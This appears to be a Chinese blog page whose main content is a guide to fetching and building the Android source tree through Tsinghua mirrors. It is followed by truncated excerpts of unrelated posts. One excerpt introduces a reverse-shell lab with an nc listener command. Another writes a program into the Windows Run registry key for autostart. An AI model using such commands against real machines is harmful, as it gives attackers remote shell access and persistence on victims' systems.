技术标签: Android 开发
Android源码下载,参见清华镜像步骤:https://mirrors.tuna.tsinghua.edu.cn/help/AOSP/
下载 repo 工具:
mkdir ~/bin
PATH=~/bin:$PATH
curl https://storage.googleapis.com/git-repo-downloads/repo > ~/bin/repo
chmod a+x ~/bin/repo
执行curl该步骤会提示curl没有,则需要下载
sudo apt-get install curl
建立工作目录:
mkdir aosp
cd aosp
初始化仓库:
repo init -u https://aosp.tuna.tsinghua.edu.cn/platform/manifest
如果提示无法连接到 gerrit.googlesource.com,请参照git-repo的帮助页面的更新一节。
如果需要某个特定的 Android 版本(列表):
repo init -u https://aosp.tuna.tsinghua.edu.cn/platform/manifest -b android-4.0.1_r1
同步源码树(以后只需执行这条命令来同步):
repo sync
init的时候可能会出现:
a)python未安装,则安装 sudo apt-get install python
b)git未安装,则安装 sudo apt-get install git,并且配置git邮箱和显示名称
git config --global user.email “[email protected]”
git config --global user.name “Your Name”
c)如果提示无法连接到 gerrit.googlesource.com
curl https://mirrors.tuna.tsinghua.edu.cn/git/git-repo -o repo
chmod +x repo
PATH
里。repo的运行过程中会尝试访问官方的git源更新自己,如果想使用tuna的镜像源进行更新,可以将如下内容复制到你的~/.bashrc
里
export REPO_URL='https://mirrors.tuna.tsinghua.edu.cn/git/git-repo/'
修改source.list为清华的仓库
先将文件/etc/apt/source.list备份,然后修改为
# 默认注释了源码镜像以提高 apt update 速度,如有需要可自行取消注释
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-security main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-security main restricted universe multiverse
# 预发布软件源,不建议启用
# deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse
然后执行
sudo apt-get update
sudo apt-get install openjdk-8-jdk
然后执行Java -version判断版本是否为8,如果不是需要配置,命令如下
sudo update-alternatives --config java
sudo update-alternatives --config javac
然后安装编译所需要软件
sudo apt-get install git gnupg flex bison gperf build-essential
sudo apt-get install zip curl libc6-dev libncurses5-dev:i386 x11proto-core-dev
sudo apt-get install libx11-dev:i386 libreadline6-dev:i386 libgl1-mesa-glx:i386
sudo apt-get install libgl1-mesa-dev g++-multilib mingw32 tofrodos
这里会提示不能够下载mingw32,则需要在source.list文件中增加
deb http://us.archive.ubuntu.com/ubuntu trusty main universe
sudo apt-get install python-markdown libxml2-utils xsltproc zlib1g-dev:i386
sudo ln -s /usr/lib/i386-linux-gnu/mesa/libGL.so.1 /usr/lib/i386-linux-gnu/libGL.so
在本用户的.bashrc文件中增加
export LC_ALL=C
修改prebuilts/sdk/tools/jack-admin文件,找到文件中的这一行:JACK_SERVER_COMMAND="java -Djava.io.tmpdir=$TMPDIR $JACK_SERVER_VM_ARGUMENTS -cp $LAUNCHER_JAR $LAUNCHER_NAME"
然后在该行添加-Xmx4096m,如:JACK_SERVER_COMMAND="java -Djava.io.tmpdir=$TMPDIR $JACK_SERVER_VM_ARGUMENTS -Xmx4096m -cp $LAUNCHER_JAR $LAUNCHER_NAME"
重启终端
在源码目录执行 source build/envsetup.sh
再执行lunch 1
再执行sudo make -j4
--------------------- 本文来自 letmefish 的CSDN 博客 ,
全文地址请点击:https://blog.csdn.net/letmefish/article/details/80845142?utm_source=copy
基本了解:PostgreSQL:是以加州大学伯克利分校计算机系开发的 POSTGRES,现在已经更名为PostgreSQL,版本 4.2为基础的对象关系型数据库管理系统(ORDBMS)。PostgreSQL支持大部分 SQL标准并且提供了许多其他现代特性:复杂查询、外键、触发器、视图、事务完整性、MVCC。同样,PostgreSQL 可以用许多方法扩展,比如, 通过增加新的数据类型、函数、操作符、...
一、代码操作注册表uses中包含 Registryvar MyFilePath:String;begin MyFilePath:=Application.ExeName ; MyReg:=TRegistry.Create ; MyReg.RootKey:= HKEY_CURRENT_USER; MyReg.OpenKey('SoftWare\Microsoft\Windows\CurrentVersion\Run',True); My...
关于org.postgresql.jdbc4.Jdbc4PreparedStatement.setQueryTimeout(int) is not yet implemented. 这个错误我的情况是在使用Spring 与 Mybatis集成时候,使用postgres链接数据库,出现的当然,这个其实和架构的关系并不是太大上网查了一下方案就是去postgres...
如果你的springboot在启动的时候报如下的错误:Error starting ApplicationContext. To display the auto-configuration report re-run your application with 'debug' enabled.2019-08-13 17:02:05.907 ERROR 8416 --- [ restar...
使用MATLAB完成一个双轮差速驱动的移动机器人“走8字”的仿真(一)任务目标 完成一个双轮差速驱动的移动机器人“走8字”的仿真。(二)问题描述 1. 描述机器人运动的微分方程 差速驱动轮式移动机器人的位置坐标和朝向角用 xi,yi,θi 表示,如图1所示。移动机器人的线速率为 vi,转向角速率为wi 。 *图...
题目描述将一个字符串转换成一个整数,要求不能使用字符串转换整数的库函数。解析:现在才发现,原来字符串转数字特蛋疼,很多细节,以前从来就没考虑过,鲁棒性啊!!! 首先,得定义个标志位LegitimateInput,表示串str是否为合法输入,初始化为1:合法输入。开始判断啦~~~若str空串,直接LegitimateInput置0,return 0退出;不是空串,那么,开始分析每个
<script src='vue.js'> </script> <script><div id="app"></div> var vm=new Vue({ el:'#app',data:{ count:0, }, }) </script>2.v-text,v-html,插值表达式只有v-html能解析...
喝汽水问题:1瓶汽水1元,2个空瓶可以换一瓶汽水,给20元,可以有多少汽水?首先先用20元买汽水,然后假设把这个汽水都喝完了,然后用这些空瓶子换汽水,再把这些汽水喝掉,再用空瓶子换,知道自己只有一个空瓶子或者没有空瓶子为止。以下就是实现的过程:#include<stdio.h>#include<Windows.h>#include<math.h>#pragma warning(disable:4996)void Num(int m){ int n1 = m
poj 4052AC自动机精简做法,109行搞定,代码量较平均减少30%。
二、配置文件1、配置文件SpringBoot使用一个全局的配置文件,配置文件名是固定的;•application.properties•application.yml配置文件的作用:修改SpringBoot自动配置的默认值;SpringBoot在底层都给我们自动配置好;YAML(YAML Ain’t Markup Language) YAML A Markup Language:是一个标记语言 YAML isn’t Markup Language:不是一个标记语言;标记语言:
原理实验环境:攻击机:windows机器,IP:192.168.12.109受害机:linux机器,IP:192.168.79.1攻击机:设置本地监听端口2222C:\netcat>nc -l -p 2222受害机:反弹/bin/bash 到攻击机(192.168.12.109)的2222端口roo...
为什么80%的码农都做不了架构师?>>> ...